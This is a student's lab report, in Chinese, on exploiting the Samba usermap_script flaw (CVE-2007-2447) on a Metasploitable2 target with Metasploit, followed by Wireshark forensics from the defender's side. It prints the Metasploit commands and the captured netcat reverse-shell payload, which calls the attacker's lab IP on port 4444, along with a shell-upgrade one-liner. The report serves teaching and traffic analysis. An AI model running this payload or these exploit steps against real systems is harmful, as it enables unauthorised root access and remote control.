20251915 2025-2026-2 《网络攻防实践》实践7报告
1.实践内容
本周深入学习了 Linux 操作系统的安全攻防机制,了解了 Linux 系统从物理安全、网络配置、认证机制到应用服务的整体安全架构。相较于 Windows,Linux 更加依赖严格的文件权限控制和开源的安全模块。本次实践的具体内容包括:
- 使用 Metasploit 进行 Linux 远程渗透攻击:以 Kali Linux 为攻击机,针对 Metasploitable2 靶机上经典的 Samba 服务
usermap_script命令拼接漏洞发起攻击,成功获取了目标主机的 root 权限。 - 攻防对抗实践(取证与分析):在发动 Samba 漏洞渗透的同时,作为蓝队防守方使用 Wireshark 捕获流量。通过对数据包的深度追踪与分析,精准提取出攻击者的 IP、目标端口、攻击发生的时间、利用漏洞的特征代码(Payload/Shellcode),以及攻击者在拿到控制权后执行的具体系统命令。
2.实践过程
2.1 使用 Metasploit 进行 Linux 远程渗透攻击
实验环境:
- 攻击机(Kali):192.168.81.135
- 靶机(Metasploitable2-Linux):192.168.81.125
操作步骤:
- 确保 Kali 与 Linux 靶机网络互通。在 Kali 终端输入
msfconsole启动渗透测试框架。
![image]()
- 加载攻击模块:输入
use exploit/multi/samba/usermap_script调出专门针对 Samba 漏洞的攻击模块,系统会自动默认配置 Payload 为cmd/unix/reverse_netcat。 - 配置攻击参数:通过
set RHOSTS 192.168.81.125和set LHOST 192.168.81.135设定目标和本机 IP。输入show options检查配置是否无误。
![image]()
- 执行渗透与验证:输入
exploit发动攻击。连接建立后,在隐式交互的 Shell 中输入whoami和ifconfig,系统分别返回了root权限提示和靶机的 IP 信息,证明已成功获取了目标 Linux 系统的最高控制权。
![image]()
2.2 实践作业:攻防对抗实践
本环节结合上述 Samba 漏洞攻击过程,进行蓝方视角的数据包捕获与取证分析。
监听工具:Wireshark
分析过程及提取信息:
在宿主机层面使用 Wireshark 旁路监听网络流量。攻击结束后,通过协议与端口过滤分析得出以下结论:
-
攻击双方信息及时间:
- 攻击者 IP:192.168.81.135
- 目标靶机 IP:192.168.81.125
- 攻击目标端口:靶机的 TCP
139端口(NetBIOS Session Service / Samba) - 攻击发起时间:
2026-05-09 11:07:32.695420(通过追踪首个 SYN 握手包获取)
![image]()
-
攻击利用漏洞与 Shellcode 分析:
- 设置过滤器
tcp.port == 139并追踪 TCP 流。发现攻击者在尝试与 Samba 服务进行协议协商时,将一段极具特征的恶意命令字符串注入到了数据包中。 - 该漏洞为经典的 CVE-2007-2447(Samba
usermap_script命令执行漏洞)。当 Samba 服务器配置为使用非默认的用户名映射脚本时,未能妥善过滤输入,导致系统会将包含反引号(`)的内容作为 Shell 命令直接执行。 - Shellcode/Payload 特征:在追踪流的明文中,清晰提取到了攻击者的注入载荷:
`nohup mkfifo /tmp/kqgfhe; nc 192.168.81.135 4444 0</tmp/kqgfhe | /bin/sh >/tmp/kqgfhe 2>&1; rm /tmp/kqgfhe`。分析可知,这并非传统的二进制机器码,而是利用 Bash 命名管道(mkfifo)和 Netcat(nc)拼接而成的高级反弹 Shell 脚本。它巧妙地绕过了某些系统中 Netcat 没有-e参数的限制,并且在最后执行了rm命令试图清理临时文件掩盖痕迹。
![image]()
- 设置过滤器
-
攻击成功后的行为分析:
- 设置过滤器为攻击者指定的 LPORT:
tcp.port == 4444,并追踪 TCP 流。 - 这是靶机回连攻击机的控制通道。在此明文会话中,防守方可以完整截获攻击者在命令行中输入的所有指令及靶机的回显信息(如执行了
whoami,ifconfig等操作)。
![image]()
- 设置过滤器为攻击者指定的 LPORT:
3.学习中遇到的问题及解决
- 问题 1:执行 exploit 后,没有出现类似于 Windows 攻击时的
meterpreter >提示符,只有一个空白光标,让人误以为攻击失败或卡死了。- 问题 1 解决方案:查阅资料后了解到,由于本次使用的 Payload 是
cmd/unix/reverse_netcat,它返回的是一个非常基础的底层/bin/sh命令行,通常不带标准的环境变量和命令提示符(Prompt)。实际上攻击已经成功,只需盲敲一条命令(如ls或id)并回车,看到回显即可确认。为了优化体验,还可以通过 Python 进一步升级为完全交互式的 tty shell(输入python -c 'import pty; pty.spawn("/bin/bash")')。
- 问题 1 解决方案:查阅资料后了解到,由于本次使用的 Payload 是
- 问题 2:在 Wireshark 分析时,起初使用
smb作为过滤条件,发现很难找到攻击者注入的那段包含nc反弹命令的核心数据包。- 问题 2 解决方案:Samba 服务可以运行在 TCP 139(通过 NetBIOS 封装)或 TCP 445(直接宿主在 TCP 上)。由于较老的 Linux 系统中该漏洞常利用 139 端口触发,我将过滤器改为
tcp.port == 139并通过右键“追踪 TCP 流”,去除了协议解析的干扰,直接以 ASCII 明文流的方式查看,瞬间找到了夹杂在协议头部中的恶意 Shell 命令。
- 问题 2 解决方案:Samba 服务可以运行在 TCP 139(通过 NetBIOS 封装)或 TCP 445(直接宿主在 TCP 上)。由于较老的 Linux 系统中该漏洞常利用 139 端口触发,我将过滤器改为
4.实践总结
本次针对 Linux 系统的攻防实践,不仅让我掌握了 Metasploit 针对非 Windows 环境的攻击手法,更让我对“命令注入(Command Injection)”这一经典漏洞类型有了极其直观的认识。
在攻击端,Samba usermap_script 漏洞的利用过程干脆利落。一个看似普通的服务,仅仅因为在处理“用户名”输入时缺乏严格的过滤和转义,就被黑客利用 nohup 和反引号巧妙地变成了系统的后门通道,直接奉上 root 权限。这生动地诠释了“任何用户的输入都是不可信的”这一安全编程铁律。
在防御和取证端,通过对 Wireshark 流量的抽丝剥茧,我深刻体会到了明文协议在网络中不安全。我们在后门端口(4444)里敲击的每一个字母,都被网络抓包工具忠实地记录了下来。这不仅警示我们在运维管理中应尽量采用 SSH 等加密通信协议,也让我明白,作为网络安全防守方,熟练掌握网络协议分析技术,是我们在黑客入侵后能够迅速溯源、复盘攻击手法的最有力武器。







浙公网安备 33010602011771号